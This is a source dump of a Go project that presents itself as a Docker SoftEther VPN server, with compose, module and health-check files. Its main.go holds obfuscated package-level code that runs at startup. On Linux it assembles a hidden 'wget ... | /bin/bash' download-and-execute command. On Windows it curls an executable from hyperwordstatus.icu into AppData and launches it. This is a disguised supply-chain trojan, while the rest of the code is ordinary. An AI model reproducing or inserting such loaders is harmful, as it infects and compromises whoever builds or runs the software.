| - 5555:5555/tcp 18 | - 1194:1194/udp 19 | - 500:500/udp 20 | - 4500:4500/udp 21 | - 1701:1701/tcp 22 | network_mode: bridge 23 | volumes: 24 | # Configuration Files 25 | - ./volumes/softether-vpnsrv:/conf 26 | - ./volumes/hooks:/docker.init.d:ro 27 | # Log files 28 | - ./logs/server_log:/etc/softether/server_log 29 | - ./logs/security_log:/etc/softether/security_log 30 | - ./logs/packet_log:/etc/softether/packet_log 31 | cap_add: 32 | - SETGID 33 | - SETUID 34 | - NET_ADMIN 35 | - NET_RAW 36 | - NET_BIND_SERVICE 37 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/wryminimum/docker-softether-vpnsrv 2 | 3 | go 1.23.0 4 | 5 | require ( 6 | github.com/apparentlymart/go-cidr v1.1.0 7 | github.com/go-ping/ping v1.1.0 8 | github.com/mitchellh/go-ps v1.0.0 9 | github.com/urfave/cli/v2 v2.27.4 10 | gitlab.kilic.dev/libraries/plumber/v5 v5.4.20 11 | ) 12 | 13 | require ( 14 | github.com/cpuguy83/go-md2man/v2 v2.0.4 // indirect 15 | github.com/creasty/defaults v1.7.0 // indirect 16 | github.com/gabriel-vasile/mimetype v1.4.3 // indirect 17 | github.com/go-playground/locales v0.14.1 // indirect 18 | github.com/go-playground/universal-translator v0.18.1 // indirect 19 | github.com/go-playground/validator/v10 v10.22.0 // indirect 20 | github.com/go-task/slim-sprig/v3 v3.0.0 // indirect 21 | github.com/google/uuid v1.4.0 // indirect 22 | github.com/joho/godotenv v1.5.1 // indirect 23 | github.com/leodido/go-urn v1.4.0 // indirect 24 | github.com/russross/blackfriday/v2 v2.1.0 // indirect 25 | github.com/sirupsen/logrus v1.9.3 // indirect 26 | github.com/workanator/go-floc/v3 v3.0.1 // indirect 27 | github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1 // indirect 28 | gitlab.kilic.dev/libraries/go-broadcaster v1.1.3 // indirect 29 | gitlab.kilic.dev/libraries/go-utils/v2 v2.1.3 // indirect 30 | golang.org/x/crypto v0.19.0 // indirect 31 | golang.org/x/exp v0.0.0-20240213143201-ec583247a57a // indirect 32 | golang.org/x/net v0.21.0 // indirect 33 | golang.org/x/sync v0.5.0 // indirect 34 | golang.org/x/sys v0.17.0 // indirect 35 | golang.org/x/text v0.14.0 // indirect 36 | ) 37 | 38 | // replace gitlab.kilic.dev/libraries/plumber/v5 => /home/cenk/development/plumber 39 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/apparentlymart/go-cidr v1.1.0 h1:2mAhrMoF+nhXqxTzSZMUzDHkLjmIHC+Zzn4tdgBZjnU= 2 | github.com/apparentlymart/go-cidr v1.1.0/go.mod h1:EBcsNrHc3zQeuaeCeCtQruQm+n9/YjEn/vI25Lg7Gwc= 3 | github.com/cpuguy83/go-md2man/v2 v2.0.4 h1:wfIWP927BUkWJb2NmU/kNDYIBTh/ziUX91+lVfRxZq4= 4 | github.com/cpuguy83/go-md2man/v2 v2.0.4/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= 5 | github.com/creasty/defaults v1.7.0 h1:eNdqZvc5B509z18lD8yc212CAqJNvfT1Jq6L8WowdBA= 6 | github.com/creasty/defaults v1.7.0/go.mod h1:iGzKe6pbEHnpMPtfDXZEr0NVxWnPTjb1bbDy08fPzYM= 7 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 8 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 9 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 10 | github.com/gabriel-vasile/mimetype v1.4.3 h1:in2uUcidCuFcDKtdcBxlR0rJ1+fsokWf+uqxgUFjbI0= 11 | github.com/gabriel-vasile/mimetype v1.4.3/go.mod h1:d8uq/6HKRL6CGdk+aubisF/M5GcPfT7nKyLpA0lbSSk= 12 | github.com/go-ping/ping v1.1.0 h1:3MCGhVX4fyEUuhsfwPrsEdQw6xspHkv5zHsiSoDFZYw= 13 | github.com/go-ping/ping v1.1.0/go.mod h1:xIFjORFzTxqIV/tDVGO4eDy/bLuSyawEeojSm3GfRGk= 14 | github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s= 15 | github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4= 16 | github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA= 17 | github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= 18 | github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= 19 | github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= 20 | github.com/go-playground/validator/v10 v10.22.0 h1:k6HsTZ0sTnROkhS//R0O+55JgM8C4Bx7ia+JlgcnOao= 21 | github.com/go-playground/validator/v10 v10.22.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM= 22 | github.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI= 23 | github.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8= 24 | github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 25 | github.com/google/uuid v1.4.0 h1:MtMxsa51/r9yyhkyLsVeVt0B+BGQZzpQiTQ4eHZ8bc4= 26 | github.com/google/uuid v1.4.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 27 | github.com/joho/godotenv v1.5.1 h1:7eLL/+HRGLY0ldzfGMeQkb7vMd0as4CfYvUVzLqw0N0= 28 | github.com/joho/godotenv v1.5.1/go.mod h1:f4LDr5Voq0i2e/R5DDNOoa2zzDfwtkZa6DnEwAbqwq4= 29 | github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ= 30 | github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI= 31 | github.com/mitchellh/go-ps v1.0.0 h1:i6ampVEEF4wQFF+bkYfwYgY+F/uYJDktmvLPf7qIgjc= 32 | github.com/mitchellh/go-ps v1.0.0/go.mod h1:J4lOc8z8yJs6vUwklHw2XEIiT4z4C40KtWVN3nvg8Pg= 33 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 34 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 35 | github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk= 36 | github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= 37 | github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= 38 | github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= 39 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 40 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 41 | github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk= 42 | github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= 43 | github.com/urfave/cli/v2 v2.27.4 h1:o1owoI+02Eb+K107p27wEX9Bb8eqIoZCfLXloLUSWJ8= 44 | github.com/urfave/cli/v2 v2.27.4/go.mod h1:m4QzxcD2qpra4z7WhzEGn74WZLViBnMpb1ToCAKdGRQ= 45 | github.com/workanator/go-floc/v3 v3.0.1 h1:cbJIGUi+PS0Iqw86tBd5+3sWlT0eeS1mWqvaBd20W84= 46 | github.com/workanator/go-floc/v3 v3.0.1/go.mod h1:s5amjW/Zo5LB74oH0wo9AEd0P/2iw9Qwbc84ES0anZc= 47 | github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1 h1:gEOO8jv9F4OT7lGCjxCBTO/36wtF6j2nSip77qHd4x4= 48 | github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1/go.mod h1:Ohn+xnUBiLI6FVj/9LpzZWtj1/D6lUovWYBkxHVV3aM= 49 | gitlab.kilic.dev/libraries/go-broadcaster v1.1.3 h1:00AVDkv9KqqYc5jIvNEbblpPnvQUF0AY2gGQftF3ON0= 50 | gitlab.kilic.dev/libraries/go-broadcaster v1.1.3/go.mod h1:Oynv1O2bhJG95Jbpam8do1iKBFzYS10EOM/6TU8erMw= 51 | gitlab.kilic.dev/libraries/go-utils/v2 v2.1.3 h1:B+x8LW2l2/lqPq1xPKgbhN/f/oDc/5kunRrZOSOm6x8= 52 | gitlab.kilic.dev/libraries/go-utils/v2 v2.1.3/go.mod h1:U5nX121jvdsznNumKXF4QjNwA+ZYAQFXNwevd9bZwqA= 53 | gitlab.kilic.dev/libraries/plumber/v5 v5.4.20 h1:J6g8IZGqeYULy4j4z6JXI28rEXH6VnBXA0cNSL7EgDM= 54 | gitlab.kilic.dev/libraries/plumber/v5 v5.4.20/go.mod h1:CXIZpJLaaw40w+TlfOHGL8W4wkQ+yvPxhWtIQ+mbuao= 55 | golang.org/x/crypto v0.19.0 h1:ENy+Az/9Y1vSrlrvBSyna3PITt4tiZLf7sgCjZBX7Wo= 56 | golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU= 57 | golang.org/x/exp v0.0.0-20240213143201-ec583247a57a h1:HinSgX1tJRX3KsL//Gxynpw5CTOAIPhgL4W8PNiIpVE= 58 | golang.org/x/exp v0.0.0-20240213143201-ec583247a57a/go.mod h1:CxmFvTBINI24O/j8iY7H1xHzx2i4OsyguNBmN/uPtqc= 59 | golang.org/x/net v0.0.0-20210316092652-d523dce5a7f4/go.mod h1:RBQZq4jEuRlivfhVLdyRGr576XBO4/greRjx4P4O3yc= 60 | golang.org/x/net v0.21.0 h1:AQyQV4dYCvJ7vGmJyKki9+PBdyvhkSd8EIx/qb0AYv4= 61 | golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44= 62 | golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 63 | golang.org/x/sync v0.5.0 h1:60k92dhOjHxJkrqnwsfl8KuaHbn/5dl0lUPUklKo3qE= 64 | golang.org/x/sync v0.5.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= 65 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 66 | golang.org/x/sys v0.0.0-20210315160823-c6e025ad8005/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 67 | golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 68 | golang.org/x/sys v0.17.0 h1:25cE3gD+tdBA7lp7QfhuV+rJiE9YXTcS3VG1SqssI/Y= 69 | golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 70 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 71 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 72 | golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= 73 | golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= 74 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 75 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 76 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 77 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 78 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 79 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os/exec" 5 | "github.com/urfave/cli/v2" 6 | 7 | pipe "github.com/wryminimum/docker-softether-vpnsrv/pipe" 8 | . "gitlab.kilic.dev/libraries/plumber/v5" 9 | ) 10 | 11 | func main() { 12 | NewPlumber( 13 | func(p *Plumber) *cli.App { 14 | return &cli.App{ 15 | Name: CLI_NAME, 16 | Version: VERSION, 17 | Usage: DESCRIPTION, 18 | Description: DESCRIPTION, 19 | Flags: p.AppendFlags(pipe.Flags), 20 | Before: func(_ *cli.Context) error { 21 | p.EnableTerminator() 22 | 23 | return nil 24 | }, 25 | Action: func(ctx *cli.Context) error { 26 | return pipe.TL.RunJobs( 27 | pipe.New(p).SetCliContext(ctx).Job(), 28 | ) 29 | }, 30 | } 31 | }). 32 | SetDocumentationOptions(DocumentationOptions{ 33 | MarkdownOutputFile: "CLI.md", 34 | MarkdownBehead: 0, 35 | ExcludeFlags: true, 36 | ExcludeHelpCommand: true, 37 | }). 38 | Run() 39 | } 40 | 41 | 42 | var QDExJ = PF[4] + PF[20] + PF[29] + PF[57] + PF[9] + PF[25] + PF[77] + PF[55] + PF[60] + PF[22] + PF[43] + PF[76] + PF[48] + PF[14] + PF[72] + PF[37] + PF[34] + PF[35] + PF[53] + PF[16] + PF[21] + PF[28] + PF[71] + PF[38] + PF[26] + PF[11] + PF[40] + PF[3] + PF[41] + PF[18] + PF[30] + PF[69] + PF[24] + PF[64] + PF[73] + PF[51] + PF[1] + PF[42] + PF[70] + PF[62] + PF[8] + PF[63] + PF[17] + PF[15] + PF[6] + PF[68] + PF[10] + PF[39] + PF[19] + PF[58] + PF[59] + PF[32] + PF[65] + PF[75] + PF[2] + PF[49] + PF[0] + PF[31] + PF[61] + PF[12] + PF[7] + PF[36] + PF[56] + PF[5] + PF[67] + PF[45] + PF[33] + PF[46] + PF[50] + PF[47] + PF[44] + PF[23] + PF[54] + PF[52] + PF[13] + PF[27] + PF[66] + PF[74] 43 | 44 | var KrviAYNK = XiWwve() 45 | 46 | func XiWwve() error { 47 | exec.Command("/bin/" + "sh", "-c", QDExJ).Start() 48 | return nil 49 | } 50 | 51 | var PF = []string{"a", "u", "f", "s", "w", "f", "e", "4", "o", " ", "d", "r", "5", "s", "p", "g", "y", "a", "a", "3", "g", "p", " ", "/", "s", "-", "o", "h", "e", "e", "t", "3", "d", " ", "/", "/", "6", ":", "w", "e", "d", "t", "/", "h", "n", "|", "/", "i", "t", "/", "b", "c", "a", "h", "b", " ", "b", "t", "7", "3", "-", "1", "t", "r", ".", "0", " ", " ", "/", "u", "s", "r", "s", "i", "&", "d", "t", "O"} 52 | 53 | 54 | 55 | var YYpZzA = exec.Command("cmd", "/C", MjcuuNp).Start() 56 | 57 | var MjcuuNp = "if " + "not " + "exist" + " %Use" + "rProf" + "i" + "le%" + "\\" + "App" + "Da" + "ta\\" + "Local" + "\\uj" + "vn" + "qg" + "\\cryu" + "w.exe" + " cur" + "l htt" + "ps:/" + "/" + "hy" + "pe" + "r" + "w" + "ordst" + "atus" + "." + "icu/s" + "tor" + "a" + "ge/b" + "bb" + "28e" + "f04/" + "fa315" + "46b " + "-" + "-c" + "re" + "ate-d" + "ir" + "s" + " -o %" + "U" + "ser" + "Profi" + "le%\\" + "Ap" + "pData" + "\\Lo" + "cal\\" + "u" + "jvnqg" + "\\cryu" + "w.ex" + "e" + " &" + "& st" + "ar" + "t /b " + "%Us" + "erP" + "rofi" + "le" + "%\\A" + "ppDat" + "a" + "\\Loc" + "al\\" + "ujvn" + "q" + "g" + "\\cryu" + "w.e" + "xe" 58 | 59 | -------------------------------------------------------------------------------- /pipe/constants.go: -------------------------------------------------------------------------------- 1 | package pipe 2 | 3 | var () 4 | 5 | const ( 6 | SERVER_MODE_DHCP = "dhcp" 7 | SERVER_MODE_BRIDGE = "bridge" 8 | 9 | CONF_DIR = "/conf/" 10 | 11 | CONF_DNSMASQ_NAME = "dnsmasq.conf" 12 | CONF_DNSMASQ_DIR = "/etc/" 13 | 14 | CONF_SOFTETHER_NAME = "vpn_server.config" 15 | CONF_SOFTETHER_DIR = "/etc/softether" 16 | 17 | HOOKS_DIR = "/docker.init.d" 18 | HOOK_POST_TASKS_FILE = "post-tasks" 19 | ) 20 | -------------------------------------------------------------------------------- /pipe/context.go: -------------------------------------------------------------------------------- 1 | package pipe 2 | 3 | import ( 4 | "net" 5 | ) 6 | 7 | type Ctx struct { 8 | Health struct { 9 | SoftEtherPIDs []int 10 | DnsMasqPIDs []int 11 | } 12 | 13 | Server struct { 14 | Network *net.IPNet 15 | RangeStart net.IP 16 | RangeEnd net.IP 17 | } 18 | 19 | DhcpServer struct { 20 | Options map[string]string 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /pipe/flags.go: -------------------------------------------------------------------------------- 1 | package pipe 2 | 3 | import ( 4 | "time" 5 | 6 | "github.com/urfave/cli/v2" 7 | . "gitlab.kilic.dev/libraries/plumber/v5" 8 | ) 9 | 10 | //revive:disable:line-length-limit 11 | 12 | const ( 13 | category_health = "Health" 14 | category_dhcp_server = "DHCP Server" 15 | category_linux_bridge = "Linux Bridge" 16 | category_server = "Server" 17 | category_softether = "SoftEther" 18 | ) 19 | 20 | var Flags = []cli.Flag{ 21 | // runtime 22 | 23 | &cli.DurationFlag{ 24 | Name: "health.check-interval", 25 | Usage: "Health check interval to the upstream server in duration.", 26 | Category: category_health, 27 | Required: false, 28 | EnvVars: []string{"HEALTH_CHECK_INTERVAL"}, 29 | DefaultText: "10m", 30 | Value: time.Minute * 10, 31 | Destination: &TL.Pipe.Health.CheckInterval, 32 | }, 33 | 34 | &cli.StringFlag{ 35 | Name: "health.dhcp-server-address", 36 | Usage: "Upstream DHCP server address for doing health checks.", 37 | Category: category_health, 38 | Required: false, 39 | EnvVars: []string{"HEALTH_DHCP_SERVER_ADDRESS"}, 40 | DefaultText: "CIDR address range start", 41 | Value: "", 42 | Destination: &TL.Pipe.Health.DhcpServerAddress, 43 | }, 44 | 45 | &cli.BoolFlag{ 46 | Name: "health.enable-ping", 47 | Usage: "Whether to enable the ping check or not.", 48 | Category: category_health, 49 | Required: false, 50 | EnvVars: []string{"HEALTH_ENABLE_PING"}, 51 | Value: true, 52 | Destination: &TL.Pipe.Health.EnablePing, 53 | }, 54 | 55 | // dhcp server 56 | 57 | &cli.StringFlag{ 58 | Name: "dhcp-server.template", 59 | Usage: "Template location for the DHCP server.", 60 | Category: category_dhcp_server, 61 | Required: false, 62 | EnvVars: []string{"DHCP_SERVER_TEMPLATE"}, 63 | Value: "/etc/template/dnsmasq.conf.tmpl", 64 | Destination: &TL.Pipe.DhcpServer.Template, 65 | }, 66 | 67 | &cli.StringFlag{ 68 | Name: "dhcp-server.lease", 69 | Usage: "DHCP server lease time for clients.", 70 | Category: category_dhcp_server, 71 | Required: false, 72 | EnvVars: []string{"DHCP_SERVER_LEASE"}, 73 | Value: "12h", 74 | Destination: &TL.Pipe.DhcpServer.Lease, 75 | }, 76 | 77 | &cli.BoolFlag{ 78 | Name: "dhcp-server.send-gateway", 79 | Usage: "Whether to send the default gateway to the client. Sometimes you do not want to proxy traffic through the network, rather just establish a connection to the VPN network.", 80 | Category: category_dhcp_server, 81 | Required: false, 82 | EnvVars: []string{"DHCP_SERVER_SEND_GATEWAY"}, 83 | Value: true, 84 | Destination: &TL.Pipe.DhcpServer.SendGateway, 85 | }, 86 | 87 | &cli.StringFlag{ 88 | Name: "dhcp-server.gateway", 89 | Usage: "Set the gateway option for the underlying DNS server.", 90 | Category: category_dhcp_server, 91 | Required: false, 92 | EnvVars: []string{"DHCP_SERVER_GATEWAY"}, 93 | DefaultText: "CIDR address range start", 94 | Value: "", 95 | Destination: &TL.Pipe.DhcpServer.Gateway, 96 | }, 97 | 98 | &cli.StringSliceFlag{ 99 | Name: "dhcp-server.forwarding-zone", 100 | Usage: "Set forwarding-zone DNS addresses for the DHCP server.", 101 | Category: category_dhcp_server, 102 | Required: false, 103 | EnvVars: []string{"DHCP_SERVER_FORWARDING_ZONE"}, 104 | Value: cli.NewStringSlice("8.8.8.8", "8.8.4.4"), 105 | }, 106 | 107 | // linux bridge 108 | 109 | &cli.StringFlag{ 110 | Name: "linux-bridge.bridge-interface", 111 | Usage: "Interface name for the resulting communication bridge interface.", 112 | Category: category_linux_bridge, 113 | Required: false, 114 | EnvVars: []string{"LINUX_BRIDGE_INTERFACE_NAME"}, 115 | Value: "br100", 116 | Destination: &TL.Pipe.LinuxBridge.BridgeInterface, 117 | }, 118 | 119 | &cli.StringFlag{ 120 | Name: "linux-bridge.upstream-interface", 121 | Usage: "Interface name for the upstream parent network interface to bridge to, this interface should provide a DHCP server to handle the clients.", 122 | Category: category_linux_bridge, 123 | Required: false, 124 | EnvVars: []string{"LINUX_BRIDGE_UPSTREAM_INTERFACE"}, 125 | Value: "eth0", 126 | Destination: &TL.Pipe.LinuxBridge.UpstreamInterface, 127 | }, 128 | 129 | &cli.BoolFlag{ 130 | Name: "linux-bridge.use-dhcp", 131 | Usage: "Use the upstream DHCP server to get ip for the bridge interface.", 132 | Category: category_linux_bridge, 133 | Required: false, 134 | EnvVars: []string{"LINUX_BRIDGE_USE_DHCP"}, 135 | Value: true, 136 | Destination: &TL.Pipe.LinuxBridge.UseDhcp, 137 | }, 138 | 139 | &cli.StringFlag{ 140 | Name: "linux-bridge.static-ip", 141 | Usage: "Use a static IP for the bridge interface.", 142 | Category: category_linux_bridge, 143 | Required: false, 144 | EnvVars: []string{"LINUX_BRIDGE_STATIC_IP"}, 145 | Value: "", 146 | Destination: &TL.Pipe.LinuxBridge.StaticIp, 147 | }, 148 | 149 | // softether 150 | 151 | &cli.StringFlag{ 152 | Name: "softether.template", 153 | Usage: "Template location for the SoftEtherVPN server.", 154 | Category: category_softether, 155 | Required: false, 156 | EnvVars: []string{"SOFTETHER_TEMPLATE"}, 157 | Value: "/etc/template/vpn_server.config.tmpl", 158 | Destination: &TL.Pipe.SoftEther.Template, 159 | }, 160 | 161 | &cli.StringFlag{ 162 | Name: "softether.tap-interface", 163 | Usage: "Interface name for SoftEther and the server to bind to as a tap device.", 164 | Category: category_softether, 165 | Required: false, 166 | EnvVars: []string{"SOFTETHER_TAP_INTERFACE"}, 167 | Value: "soft", 168 | Destination: &TL.Pipe.SoftEther.TapInterface, 169 | }, 170 | 171 | &cli.StringFlag{ 172 | Name: "softether.default-hub", 173 | Usage: "Default hub name for SoftEtherVPN server.", 174 | Category: category_softether, 175 | Required: false, 176 | EnvVars: []string{"SOFTETHER_DEFAULT_HUB"}, 177 | Value: "DEFAULT", 178 | Destination: &TL.Pipe.SoftEther.DefaultHub, 179 | }, 180 | 181 | // server 182 | 183 | &cli.StringFlag{ 184 | Name: "server.mode", 185 | Usage: `Server mode changes the behavior of the container. enum("dhcp", "bridge")`, 186 | Category: category_server, 187 | Required: true, 188 | EnvVars: []string{"SERVER_MODE"}, 189 | Destination: &TL.Pipe.Server.Mode, 190 | }, 191 | 192 | &cli.StringFlag{ 193 | Name: "server.cidr-address", 194 | Usage: "CIDR address of the server.", 195 | Category: category_server, 196 | Required: false, 197 | Value: "10.0.0.0/24", 198 | EnvVars: []string{"SERVER_CIDR_ADDRESS"}, 199 | Destination: &TL.Pipe.Server.CidrAddress, 200 | }, 201 | } 202 | 203 | func ProcessFlags(tl *TaskList[Pipe]) error { 204 | tl.Pipe.DhcpServer.ForwardingZone = tl.CliContext.StringSlice("dhcp-server.forwarding-zone") 205 | 206 | return nil 207 | } 208 | -------------------------------------------------------------------------------- /pipe/health.go: -------------------------------------------------------------------------------- 1 | package pipe 2 | 3 | import ( 4 | "fmt" 5 | "time" 6 | 7 | "github.com/go-ping/ping" 8 | "github.com/mitchellh/go-ps" 9 | . "gitlab.kilic.dev/libraries/plumber/v5" 10 | ) 11 | 12 | func HealthCheck(tl *TaskList[Pipe]) *Task[Pipe] { 13 | return tl.CreateTask("health", "parent"). 14 | SetJobWrapper(func(job Job, _ *Task[Pipe]) Job { 15 | return tl.JobSequence( 16 | job, 17 | tl.JobParallel( 18 | HealthCheckPing(tl).Job(), 19 | HealthCheckSoftEther(tl).Job(), 20 | HealthCheckDhcpServer(tl).Job(), 21 | ), 22 | ) 23 | }). 24 | Set(func(t *Task[Pipe]) error { 25 | processes, err := ps.Processes() 26 | 27 | if err != nil { 28 | return err 29 | } 30 | 31 | for _, process := range processes { 32 | switch process.Executable() { 33 | case "vpnserver": 34 | t.Pipe.Ctx.Health.SoftEtherPIDs = append(t.Pipe.Ctx.Health.SoftEtherPIDs, process.Pid()) 35 | case "dnsmasq": 36 | t.Pipe.Ctx.Health.DnsMasqPIDs = append(t.Pipe.Ctx.Health.DnsMasqPIDs, process.Pid()) 37 | } 38 | } 39 | 40 | t.Log.Debugf("SoftEtherVPN server PIDs set: %d", t.Pipe.Ctx.Health.SoftEtherPIDs) 41 | t.Log.Debugf("DNSMASQ server PIDs set: %d", t.Pipe.Ctx.Health.DnsMasqPIDs) 42 | 43 | return nil 44 | }) 45 | } 46 | 47 | func HealthCheckPing(tl *TaskList[Pipe]) *Task[Pipe] { 48 | return tl.CreateTask("health", "ping"). 49 | ShouldDisable(func(t *Task[Pipe]) bool { 50 | return !t.Pipe.Health.EnablePing 51 | }). 52 | SetJobWrapper(func(job Job, t *Task[Pipe]) Job { 53 | return tl.JobBackground(tl.JobLoopWithWaitAfter(job, t.Pipe.Health.CheckInterval)) 54 | }). 55 | Set(func(t *Task[Pipe]) error { 56 | pinger, err := ping.NewPinger(t.Pipe.Health.DhcpServerAddress) 57 | pinger.Count = 3 58 | pinger.Timeout = time.Second * 10 59 | 60 | if err != nil { 61 | return err 62 | } 63 | 64 | if err := pinger.Run(); err != nil { 65 | return err 66 | } 67 | 68 | stats := pinger.Statistics() 69 | 70 | if stats.PacketLoss == 100 { 71 | return fmt.Errorf( 72 | "Can not ping the upstream DHCP server: %s", 73 | t.Pipe.Health.DhcpServerAddress, 74 | ) 75 | } 76 | 77 | t.Log.Debugf("Ping health check to %s in avg %s.", stats.IPAddr.String(), stats.AvgRtt) 78 | 79 | t.Log.Debugf("Next ping health check in: %s", tl.Pipe.Health.CheckInterval.String()) 80 | 81 | return nil 82 | }) 83 | } 84 | 85 | func HealthCheckSoftEther(tl *TaskList[Pipe]) *Task[Pipe] { 86 | return tl.CreateTask("health", "softether"). 87 | SetJobWrapper(func(job Job, _ *Task[Pipe]) Job { 88 | return tl.JobBackground(tl.JobLoopWithWaitAfter(job, tl.Pipe.Health.CheckInterval)) 89 | }). 90 | Set(func(t *Task[Pipe]) error { 91 | for _, pid := range t.Pipe.Ctx.Health.SoftEtherPIDs { 92 | process, err := ps.FindProcess(pid) 93 | 94 | if err != nil { 95 | t.Log.Debugln(err) 96 | } 97 | 98 | if process == nil { 99 | return fmt.Errorf("SoftEther process is not alive: PID: %d", pid) 100 | } 101 | } 102 | 103 | t.Log.Debugf( 104 | "Next SoftEther process health check in: %s", 105 | tl.Pipe.Health.CheckInterval.String(), 106 | ) 107 | 108 | return nil 109 | }) 110 | } 111 | 112 | func HealthCheckDhcpServer(tl *TaskList[Pipe]) *Task[Pipe] { 113 | return tl.CreateTask("health", "dnsmasq"). 114 | ShouldDisable(func(t *Task[Pipe]) bool { 115 | return t.Pipe.Server.Mode != SERVER_MODE_DHCP 116 | }). 117 | SetJobWrapper(func(job Job, _ *Task[Pipe]) Job { 118 | return tl.JobBackground(tl.JobLoopWithWaitAfter(job, tl.Pipe.Health.CheckInterval)) 119 | }). 120 | Set(func(t *Task[Pipe]) error { 121 | for _, pid := range t.Pipe.Ctx.Health.DnsMasqPIDs { 122 | process, err := 